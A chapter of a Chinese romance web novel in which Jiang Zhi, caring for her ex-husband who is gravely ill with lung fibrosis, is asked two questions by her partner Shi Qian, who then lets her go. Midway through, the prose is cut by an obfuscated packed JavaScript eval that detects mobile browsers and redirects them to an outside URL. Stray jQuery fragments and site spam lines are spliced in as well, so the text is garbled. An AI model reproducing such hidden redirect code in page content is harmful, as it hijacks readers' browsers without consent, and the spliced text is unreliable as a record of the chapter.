第一百八十六章 两个问题

作品:《倒贴五年,离婚后前夫成恋爱脑

    姜知没走。


    程昱钊在这份沉默里安下心来,很快就睡了过去,只是呼吸依旧不清净。


    他这觉睡得沉,姜知坐在陪护椅上,视线落在他脸上。


    睡着的时候,他也没那种又凶又冷的样子了,那张脸依然英挺得让人挪不开眼。


    可他眉头皱着,川字纹变深了,唇色发白,鬓角处也藏了银丝。


    也就是这个时候,姜知才真切地感觉到,他是真的病了,也是真的老了。


    三十五岁,明明是男人最好的年纪。


    大多男人这时候还在勾画着未来,可他怎么就被医生说活不了很久了呢?


    “情况糟糕。”


    “不是能活几年的问题。”


    “连送医的机会都没有。”


    说什么输两天液就能好,她骗了他,也不知道他信没信。


    床上的人还没什么事,倒是姜知感觉自己像是被扔进了一个真空的罐子里,周围的空气被抽干了,胸腔里憋闷得发痛。


    他躺在这儿,肺叶像是一块正在慢慢风干的海绵,一点点失去呼吸的功能。


    只要他再逞一次强,再出一次任务,这块海绵就会彻底硬化,让他活活憋死。


    看着看着,眼眶一热,视线便模糊了。


    她害怕监护仪上的那条绿色曲线突然拉直。害怕这个世界上再也没有程昱钊这个人。


    害怕岁岁真的再也没有爸爸,那个会穿着警服去幼儿园撑腰的人,变成一张黑白照片。


    手机突然震了一下。


    姜知回神,下意识地看向病床。


    程昱钊似乎被惊动了,眼皮颤了颤,含混地喊了一声“知知”。


    “……我在。”


    姜知应声,在被子上轻轻拍了两下。


    程昱钊听到声音,眉头的褶皱松了一些,重新安分下来。


    等到他呼吸平稳了,姜知拿出手机。


    时谦:【还在急诊吗?】


    姜知盯着那行字,许久才回复:


    【不在急诊了。在住院部,呼吸内科。】


    消息发出去不到两秒,那边回过来一条:【好,我过去。】


    姜知站起身,看了一眼还在熟睡的程昱钊,轻手轻脚地走了出去,反手带上了门。


    在电梯门口等了一会儿,“叮”的一声,时谦站在里面,脱了白大褂,换回了自己的大衣,手里还提着一个纸袋。


    “还没吃饭吧?”


    这是他开口的第一句话。


    手里的纸袋递


    你的朋友正在书荒,快去帮帮他吧


    过来,语气温和如常:“买了点热牛奶和三明治,你多少吃一点。”


    姜知摇摇头:“没胃口。”


    时谦也没强求,指了指安全通道:“那边安静,去透透气?”


    姜知顺从地跟了过去。


    安全通道里有些冷,时谦靠在窗边的栏杆上,忽然说:“看来情况不太好。”


    如果只是普通的感冒发烧,以姜知的决绝,绝不会守到现在。


    何况病房里那个人的情况他也清楚。


    姜知点头:“和你上次说得一样,肺纤维化,很糟糕。”


    不是绝症,却比绝症更折磨人。


    走廊里陷入了长久的沉默。


    时谦转过头,看着姜知的侧脸。


    她站在他面前,离他这么近,昨天他们还说好等回了鹭洲就戴上戒指。


    可他却觉得她已经碎得拼不起来,浑身上下都写满了那个人的名字。


    “所以,你走不了了,是吗?”时谦问。


    他轻声细语的,更让姜知迷惘。


    “我不知道。”


    “我恨他,又没办法看着他死。”姜知声音哽咽,“我做不到留他一个人在这个世界上等死。”


    哪怕是恨,也要人活着才能恨。


    人要是**,恨就成了无处安放的荒冢。


    像是心有预兆,时谦轻轻叹气。


    “嘴硬心软。”


    他评价道:“姜知,你这辈子,就输在这四个字上。”


    她可以因为失望而决绝离开,可以因为自尊而拒绝回头,唯独无法对那个人的苦难视而不见。


    爱恨全是那样浓烈,他们都活得太累了。


    时谦苦笑,有些无奈:“知知,其实回云城前,我和程昱钊打了个赌。”


    姜知问:“赌什么?”


    “赌你最后会选谁。”


    时谦抬起头,淡声说:“我和他说,你和以前不一样了,向往安稳。你需要的是一个情绪稳定的伴侣,一个完整的家庭。所以,你一定会选我。”


    “那他呢?”


    “他不信。”时谦笑了笑,眼底却没什么笑意,“他就和我赌你这几年,从来没有忘记过他。”


    “那时候我觉得他狂妄,自以为是。现在看来,赢的人是他。”


    姜知蹙眉反驳:“我没选他,只是……”


    “只是你没办法扔下他。”


    时谦打断了她,不让她说出那些更为自欺欺人的辩解。


    “我不怪你,知知。”他向她走近了一


    听说和异性朋友讨论本书情节的,很容易发展成恋人哦


    步,“这不怪你。换了任何人,面对这样的情况,都没法走得干脆。这是人之常情,也是我喜欢你的地方。”


    “但我还是想问你两个问题。”


    姜知看他眼神变得格外认真,心跳快得有些失衡。


    “第一个问题,从我们在这里第一次相遇到现在,你有没有一次,哪怕只有一瞬间,因为这几年陪在你身边的人是我而感到幸运?”


    这个问题砸进心里,姜知一时无言。


    当然是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193270|196774||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    有的。


    很多次,很长时间。


    在程昱钊没有重新出现的那三年多里,只要岁岁高兴,她其实无所谓之后的感情生活怎么样。


    可她总觉得亏欠时谦太多,不止一次想过让两人干脆有一个合法身份。


    时谦总会面露沉思,而后弯着眼睛:“我没关系,等你有一天能毫无负担地带着岁岁回云城,我们再谈这个问题。”


    那个时候,姜知不知道自己心里是什么感觉。


    真的不知道。


    说不上难过失望,也没有轻松。


    大概就是,都可以。


    时谦不着急,可以。时谦着急,也可以。


    但时谦这个问题指向的感情太明显了,她答不出口。


    姜知有些痛苦地捂住脸,还没想出要如何回答才好,又听:


    “好,那第二个问题。”


    语气变得轻快了一些:“我父母去了瑞士,那边的新项目有个项目名额,为期三年。如果我过去,手续很快就能办好。”


    “知知,如果我要走,你会带着岁岁,跟我一起走吗?”


    姜知略微抬头,露出一双眼睛。


    瑞士。


    三年。


    “三年……”她喃喃着。


    刚才刘主任的话又响在耳边。


    程昱钊还能活几个三年?


    如果她走了,他又要怎么折腾自己,之后在无尽的等待中,一个人数着日子,听着自己的呼吸声一点点消失。


    等她三年后回来,或许看到的就是一块墓碑。


    到时候岁岁再问她程叔叔去哪儿了,爸爸去哪儿了。


    她该怎么说?


    刺痛感顺着神经爬满全身,沉重,湿冷,激得她心跳越来越快。


    时谦是个聪明人。


    太聪明了,所以不需要她把那个“不”字说出口,他就已经听到了答案。


    深吸一口气,时谦走上前,虚抱了她一下。


    “我知道你是真的想和我结婚的。不用自责,我们都没有错。”


    “别这副表情。”他在她耳边轻声说,“既然做出了选择,就别再回头看我了。”


    姜知浑身一震。


    时谦松开手,指了指病房的方向:“回去吧,他还没醒,没人看着不行。”


    姜知站在原地,脚下像生了根。


    “那你呢?”她艰涩地问,“你要去瑞士了吗?”


    “我?”


    时谦对她笑:“我是医生,不管去不去瑞士,我还有自己的工作,总有病人需要我。”


    “姜知,别觉得欠我什么,这几年跟你和岁岁在一起,我是真的很开心。我还会去看岁岁的,不会有什么变化。”


    说完,他转身朝着电梯口走去。


    直到电梯门合上,姜知才顺着墙壁滑坐下来。


    她把脸埋在膝盖里,无声痛哭。